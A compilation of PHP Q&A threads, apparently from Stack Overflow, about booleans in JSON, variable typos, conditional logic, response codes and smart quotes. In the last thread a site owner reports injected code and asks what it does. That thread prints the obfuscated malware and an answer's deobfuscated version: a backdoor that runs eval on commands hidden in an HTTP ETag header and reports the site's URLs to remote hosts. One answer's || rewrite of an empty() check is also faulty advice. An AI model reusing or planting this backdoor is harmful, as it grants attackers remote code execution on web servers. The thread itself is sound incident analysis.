Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 5 years ago.
Improve this question
I set the following PHP Code:
if($motherFirst == 'yes')
{$motherBool = true;}
else
{$motherBool = false;}
if($fatherFirst == 'no')
{$fatherBool = true;}
else
{$fatherBool = false;}
I have checked that I'm obtaining Yes or No as a value for both $motherFirst and $fatherFirst by doing an echo.
I am then using $motherBool and $fatherBool to post boolean (true or false) not as string in an API call.
However it appears that they are being assigned true or false of type string. What can I do to convert them to Boolean?
Above has been corrected, but now have issue with following:
I'm also sending the json as follows:
$data_string = '{
"motherData": false,
"fatherData": true
}';
Which works, but when I put as follows, it doesn't work:
$data_string = '{
"motherData": '.$motherBool.',
"fatherData": '.$fatherBool.'
}';
Can you let me know?
Already answered but here is a simplification.
$motherBool = ($motherFirst == 'yes');
$fatherBool = ($fatherFirst == 'no');
In your second question you're echoing a bool as if its a string which will print 0 or 1, not true/false as your expecting. You need to convert the bool to a string. for example,
$data_string = '{
"motherData": '.($motherBool ? 'true' : 'false').',
"fatherData": '.($fatherBool ? 'true' : 'false').'
}';
Related
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 2 years ago.
Improve this question
I am missing something. I'm sure is something stupid but I don't know what it is, sorry.
I am assinging a string to $onClick using a ternary operator.
Right after that, I try to access $onClick and I get Undefined variable: onClick error.
I have tried with simpler versions (booleans instead of strings) but it's the same. I also tried wrapping them with same result.
Apart from the example below (CakePHP), I created an online snippet here replacing debug() with var_dump(). Note: to see notices on this console you have to fork it, but I assure you there are notices!
Note: trying to provide as much examples as I can, I may have complicated things. The line I have problems with is the one commented with this: <--- this one
Code:
$id = 39; // just for this example
$isNew = true; // just for this example
// debug() examples:
debug($isNew); // line 42
debug($isNew ? "sendMeasure('add', null)" : "sendMeasure('edit', {$id})"); //42
// Actual problematic line:
$onCLick = $isNew ? "sendMeasure('add', null)" : "sendMeasure('edit', {$id})"; // <--- this one
debug($onClick); // line 47
// tying a simple bool value (just in case):
$onCLick = $isNew ? true : false;
debug($onClick); // line 51
// I even wrapped them (just in case):
$onCLick = ($isNew ? true : false);
debug($onClick); // line 55
// Expected behavior below:
if ($isNew) {
$onClick = "sendMeasure('add', null)";
} else {
$onClick = "sendMeasure('edit', {$id})";
}
debug($onClick); // line 63
Output:
Issue with uppercase and lowercase variable. variable defined as $onCLick and you checking as $onClick
// Actual problematic line:
$onClick = $isNew ? "sendMeasure('add', null)" : "sendMeasure('edit', {$id})"; // <--- this one
debug($onClick); // line 47
// tying a simple bool value (just in case):
$onClick = $isNew ? true : false;
debug($onClick); // line 51
// I even wrapped them (just in case):
$onClick = ($isNew ? true : false);
debug($onClick); // line 55
Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 4 years ago.
Improve this question
I am trying to condition if one of these has null value, then else but i am getting error:
ErrorException (E_NOTICE)
Undefined variable: average_winning_trade
DD(winning_trades_profit) result : []
here is the code for condition:
if(!empty($losing_trades_loss && $profitable_trades && $winning_trades_profit && $losing_trades)) {
$average_winning_trade = round(array_sum($winning_trades_profit) / $profitable_trades);
$average_losing_trade = array_sum($losing_trades_loss) / $losing_trades;
$payoff_ratio_per_trade = abs(round($average_winning_trade / $average_losing_trade, 2));
}else { $payoff_ratio_per_trade ="0";}
Your problem is in your if condition:
if(!empty($losing_trades_loss && $profitable_trades && $winning_trades_profit && $losing_trades))
because $losing_trades_loss && $profitable_trades && $winning_trades_profit && $losing_trades is a boolean expression, it will always return true or false, and so empty() will always return false, so regardless of the state of those variables, the first part of your if statement will execute.
I think what you actually want is
if (isset($losing_trades_loss, $profitable_trades, $winning_trades_profit, $losing_trades))
or possibly
if (isset($losing_trades, $profitable_trades) && count($winning_trades_profit) && count($losing_trades_loss))
without seeing the rest of your code it's difficult to say which of the above would be correct.
Edit
You probably also need to change your assignments to check for 0 divisors:
$average_winning_trade = $profitable_trades ? round(array_sum($winning_trades_profit) / $profitable_trades) : 0;
$average_losing_trade = $losing_trades ? array_sum($losing_trades_loss) / $losing_trades : 0;
$payoff_ratio_per_trade = $average_losing_trade ? abs(round($average_winning_trade / $average_losing_trade, 2)) : 1;
As your error code shows
ErrorException (E_NOTICE) Undefined variable: average_winning_trade
Meaning you are trying to call the variable somewhere else in your code while it hasn't been set yet. This could be either before or after you reach the if-statement you put here. However, this if-statement is not causing the error to appear.
UPDATE
Your current if-statement is as follow:
IF NOT EMPTY $losing_trades_loss AND $profitable_trades AND $Winning_trades
but you clearly want
IF NOT EMPTY $losing_trades_loss OR $poritable_trades OR $winning_trades
so update your if-statement as follow:
if(!empty(
$losing_trades_loss ||
$profitable_trades ||
$winning_trades_profit ||
$losing_trades)) {
$average_winning_trade = round(array_sum($winning_trades_profit) / $profitable_trades);
$average_losing_trade = array_sum($losing_trades_loss) / $losing_trades;
$payoff_ratio_per_trade = abs(round($average_winning_trade / $average_losing_trade, 2));
}else { $payoff_ratio_per_trade ="0";}
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 7 years ago.
Improve this question
I am trying to send the string response of a particular request from ftp Interface. I am using below code..
if($s == 'Successfull') {
$rid = 's'.$request_id;
}
if($s == 'Unsuccessfull') {
$rid = 'e'.$request_id;
}
echo "<b style='font-size: 16px;color:#59AB8F;'>Your Request ID:".$rid.".......<b>\n";
printf("<br>");
header($rid);
Why not set a response code with a JSON response?
if($s == 'Successfull'){
http_response_code(201);
$data = [ 'id' => $request_id ];
}
else {
http_response_code(400);
}
if (isset($data)) {
header('Content-Type: application/json');
echo json_encode($data);
}
That would be the normal way of handling an API POST response. 201 signifies a resource was created, 400 signifies a bad request (you can change this if a different response code matches better). Then the client can read in the JSON data and get the id.
Closed. This question is not reproducible or was caused by typos. It is not currently accepting answers.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Closed 8 years ago.
Improve this question
Please i dont know how to remove this error on line 7 onto this $rest_url = “https://mydomain.com/rest-api/analytics/HTML/”.$login.”/”.$hash.”/”.$timestamp.”.do”;
$timestamp = round(microtime(true) * 1000);
$login = ‘username’;
$password = ‘password’;
$hash = md5(md5($password).$timestamp);
$rest_url = “https://mydomain.com/rest-api/analytics/HTML/”.$login.”/”.$hash.”/”.$timestamp.”.do”;
$post_data = array(
‘range’ => ‘LAST_7_DAYS’,
‘groupBy’ => ‘PLACEMENT’
);
/* Options of HTTP request; http key should be used when posting to https url */
$options = array(
‘http’ => array(
‘header’ => “Content-type: application/x-www-form-urlencoded\r\n”,
‘method’ => ‘POST’,
‘content’ => http_build_query($post_data)
)
);
/* Actual call to REST URL */
$context = stream_context_create($options);
$result = file_get_contents($rest_url, false, $context);
echo($result);
Your string starting and ending characters are incorrect.
You are using ‘ and “ ... replace them with ' and " to make your code valid.
since file_get_contents() is not reliable in remote connections,
You have to use CURL to overcome this http error.
For more info on curl_init read this
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 9 years ago.
Questions asking for code must demonstrate a minimal understanding of the problem being solved. Include attempted solutions, why they didn't work, and the expected results. See also: Stack Overflow question checklist
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Improve this question
My site is not working at all, and I noticed that someone put this string on the top of all the .php files:
<?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrNVW"."1Po0AQ/"."i8mTfSDBLcslNwnrWj"."P86q2WHOfmgWGlpMuuEBr/737AnSx1XiX"."+3AJ"."Jcu8PDPz"."zMwW1iQ"."9ZmRTsTSCMIvg+CiuaFgmGe0hc3x+97S+zfmphwY9ZNFievv03ENDKbEe0qqHXHF2LmrJ02wkTv1L/iaMka10dHt9YRBnrIVKtjfcylSK5nuIsN2RoAv57MfAF7UFvmzjNSjSzqkl"."/mS8bC3Mf5l"."HB1"."mBNSL0SapSl7Gow2hrIwwwfxclS4F2WXclglun"."Ic30PE"."c"."/t7TUydiL3v"."8CgzudLO"."agV6P"."R3FTwLvV1PTrzHzSEi/P1VaUBIvHs"."NWtcbfJ"."Ot5RgqLNVD2XH4lD79O"."x2o9A06Owjlv+q6/95w1r2jR0q"."Z1G6Sv6UK/b4O1yym"."ucGffDZoB9O"."o8"."uHkmizw6CsG"."NUy03R"."JrHhPigJKFXw+9"."SYzb"."yJjO"."CPfv597/vk1P7exCI0U2iL9MWtZg"."Nc8"."5TceB2"."lvPwmIZOpIuoqbLiAF2Na8tS"."iqgA/cV2ILb9ys7"."C4ReTHOi"."2"."US1xW"."otNw6s2YFLOIS"."jL"."Dp9B0X2xa2Y4DAN"."JHjBpFtAsAgCAAHuMnVjBKRHvArXRC0+lp1enhX35xoFc+S7MBtj"."pZlyb"."fuvIeu+LMm"."eZHQKCFGxhb823jeBO"."RF6pCM0DUPGZAyoYslyfOEQ"."lEYCRVei"."zKvyg+9IC5PeZgwS7NFQk6BAltAmYTECLOVETAZ9/fmJW8Q6jKKZRXHqSq8"."Lagp0TLjJIU5B5qHGS2BlgU3VM3Js/y9k2QrJmkB6shn"."AMhKub5yCFEYNAAaUeI"."i4031NPkKymUWtRp+uPb8XeVAImC61vPJQnJhbm/80S8uMeqhBFo3tv2rFviN"."VdNhtLqf"."jDdiw3EoBtpFoOR7MFxmn5FggELXsSNrgOEs6AcBQY7VN8FyosC2ohBh7MY1Qif"."wH41sPX37KzS6m/pqhYz3+on38OhN/fnj5Lu24PVjCFg"."8ZPxHmxHfTfXR"."ycm3N+BnRcY=")),"/x"."wabz5/"."e"); /* f9d4b9453f919477fd0a13c96fe26367485b9689 */ ?>
What does this ^ do?
Right now I'm using the command "grep" to find all the infected files, but I'm not sure if I will be able to make my site work again only removing these strings from the .php files.
FWIW, the following code seems to be eval'd, might have made a mistake along the way. Evil, but fascinating. Seems to have something to do with HTTP ETags.
function NAOWvLp ($nsSLWk, $Qlu) {
$QWVH = array();
for ($iyJ=0; $iyJ<256; $iyJ++) {
$QWVH[$iyJ] = $iyJ;
}
$TRNh = 0;
for ($iyJ=0; $iyJ<256; $iyJ++) {
$TRNh = ($TRNh + $QWVH[$iyJ] + ord($nsSLWk[$iyJ % strlen($nsSLWk)])) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
}
$iyJ = 0;
$TRNh = 0;
$pvFu = "";
for ($Nuwp=0; $Nuwp<strlen($Qlu); $Nuwp++) {
$iyJ = ($iyJ + 1) % 256;
$TRNh = ($TRNh + $QWVH[$iyJ]) % 256;
$HMynt = $QWVH[$iyJ];
$QWVH[$iyJ] = $QWVH[$TRNh];
$QWVH[$TRNh] = $HMynt;
$pvFu .= $Qlu[$Nuwp] ^ chr($QWVH[($QWVH[$iyJ] + $QWVH[$TRNh]) % 256]);
}
return $pvFu;
}
if (isset($_SERVER['HTTP_ETAG']) and
$glKV = explode(urldecode("+"), base64_decode(substr($_SERVER['HTTP_ETAG'], 5))) and
array_shift($glKV) == "4a9a5250737956456feeb00279bd60eee8bbe5b5") {
die(eval(implode(urldecode("+"), $glKV)));
$dmfVio = array("http://vapsindia.org/.kwbaq/","http://creatinghappiness.in/.gtput/","http://eft-psicologia-energetica.com.br/.kjwqp/");
shuffle($dmfVio);
#file_get_contents(
array_pop($dmfVio),
false,
stream_context_create(
array(
"http"=>array(
"method"=>"GET",
"header"=>"ETag: yJTHY"
.base64_encode(
NAOWvLp(
"yJTHY",
"mPRNwu 5c b92e "
.base64_encode(
"61ab82c976d485e1b3bba27430e47db64dc2559f "
.NAOWvLp(
"4a9a5250737956456feeb00279bd60eee8bbe5b5",
$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']
)
)
)
)."\r\n"
)
)
)
);
}